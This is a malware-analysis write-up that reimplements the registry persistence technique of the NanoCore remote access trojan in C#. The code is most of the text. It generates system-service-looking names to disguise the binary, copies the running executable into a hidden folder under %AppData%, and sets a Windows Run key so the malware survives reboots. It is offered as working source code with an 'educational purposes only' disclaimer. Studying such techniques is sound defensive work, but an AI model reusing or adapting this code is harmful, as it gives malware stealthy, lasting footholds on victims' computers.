NanoCore 1.2.2.0: Persistence
This is a persistence TTP extracted from NanoCore 1.2.2.0. It utilizes the exact code as used in NanoCore client binary. On every execution, the NanoCore client generates a random legitimate looking binary name from pre-defined array of services and their pseudonym. It first checks weather persistence had already been achieved by comparing the registry key and value to the similar named folder in Program Files. If result is false, then it proceeds to copy itself in the AppData with the masquerading name and directory and adds the persistence by setting registry values in the RUN registry keys.
Implementation
During my analysis, i was able to de-obfuscate the code of NanoCore client binary and because it is built in c# language therefore, extracting the code was easier as compared to x86/64 binaries. The implementation of achieving persistence is pretty straight forward:
- Generate a random windows app/service masquerading name
- Check for existing persistence by querying the run registry keys
- If not, then create a directory with newly established name in %AppData% (appdata for normal privileges and program files if elevated privileges)
- Compare file hashes, if directory is already created and file is availble
- If hash is not matching, delete the file and copy itself to that location again.
- Finally set the run registry key value to the updated path
// Global variables
static string regpath = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
static string regkey = "";
static string regvalue = "C:\\Program Files (x86)\\";
static void Main(string[] args)
{
// Establish the masquerading name for persistence
string directory = Masquerade();
Guid guid = Guid.NewGuid();
string appDataFolderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
string full_path = appDataFolderPath + "\\" + guid.ToString() + "\\" + directory;
try
{
if (!CheckForRegistry())
{
Directory.CreateDirectory(Path.GetDirectoryName(full_path));
if (!CompareHash(full_path))
{
File.Delete(full_path);
File.Copy(Assembly.GetExecutingAssembly().Location, full_path);
}
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(regpath, true);
registryKey.SetValue(regkey, full_path);
}
} catch (Exception e)
{
Console.WriteLine(e);
}
}
Masquerading
NanoCore persists itself in the victim computer after masquerading itself as legitimate looking windows binary. It uses a pre-established array of strings each holding important keywords that are merged together at run-time to establish a legitimate name.
This function uses the provided arrays and generates random names: Example “NTFS Manager\ntfsmgr.exe” or “DNS Monitor\dnsmon.exe”.
public static string Masquerade()
{
string[] array1 = { "ss", "mon", "mgr", "sv", "svc", "host" };
string[] array2 = { "Subsystem", "Monitor", "Manager", "Service", "Service", "Host" };
string[] array3 = { "dhcp", "upnp", "tcp", "udp", "saas", "ntfs", "dns", "iss", "smtp", "dos", "dpi", "pci", "scsi", "wan", "lan", "nat", "imap", "nas", "wpa", "dsl", "agp", "arp", "ddp" };
Random random = new Random();
int rand = random.Next(array1.Length);
string part1 = array1[rand];
string part3 = array3[random.Next(array3.Length)];
string combination = $"{part3}{part1}.exe";
string combination_final = part3.ToUpper() + " " + array2[rand] + "\\" + combination;
regkey = part3.ToUpper() + " " + array2[rand];
regvalue = regvalue + combination_final;
//Console.WriteLine(combination_final);
return combination_final;
}
Check Existing Persistence
It also checks weather, the mawlare had been able to achieve persistence by looking for same directory and file name in Program Files.
public static bool CheckForRegistry()
{
try
{
//regkey and regvalue are also established with masquerading name
RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(regpath, false);
string a = Conversions.ToString(registryKey.GetValue(regkey, string.Empty));
return string.Equals(a, regvalue, StringComparison.InvariantCultureIgnoreCase);
}
catch (Exception exception_)
{
Console.WriteLine(exception_);
}
return false;
}
Validate Hash
If a file already exists in the established path for persistence, its hash is first validated. In case of mis-match a new file is copied to the path.
public static bool CompareHash(string file)
{
if (!File.Exists(file))
{
return false;
}
FileStream fileStream = null;
try
{
fileStream = File.OpenRead(Assembly.GetExecutingAssembly().Location);
string left = MD5(fileStream);
fileStream.Close();
fileStream = File.OpenRead(file);
string right = MD5(fileStream);
fileStream.Close();
return Operators.CompareString(left, right, false) == 0;
}
catch (Exception exception_)
{
Console.WriteLine(exception_);
}
finally
{
if (fileStream != null)
{
fileStream.Close();
}
}
return false;
}
public static string MD5(Stream stream_0)
{
MD5CryptoServiceProvider md5CryptoServiceProvider = new MD5CryptoServiceProvider();
return BitConverter.ToString(md5CryptoServiceProvider.ComputeHash(stream_0)).Replace("-", string.Empty);
}
Find Complete Code Click Here: Shaddy43/MalwareAnalaysisSeries
Disclaimer
Artifacts and code of this repository is intended to be used for educational purposes only!!!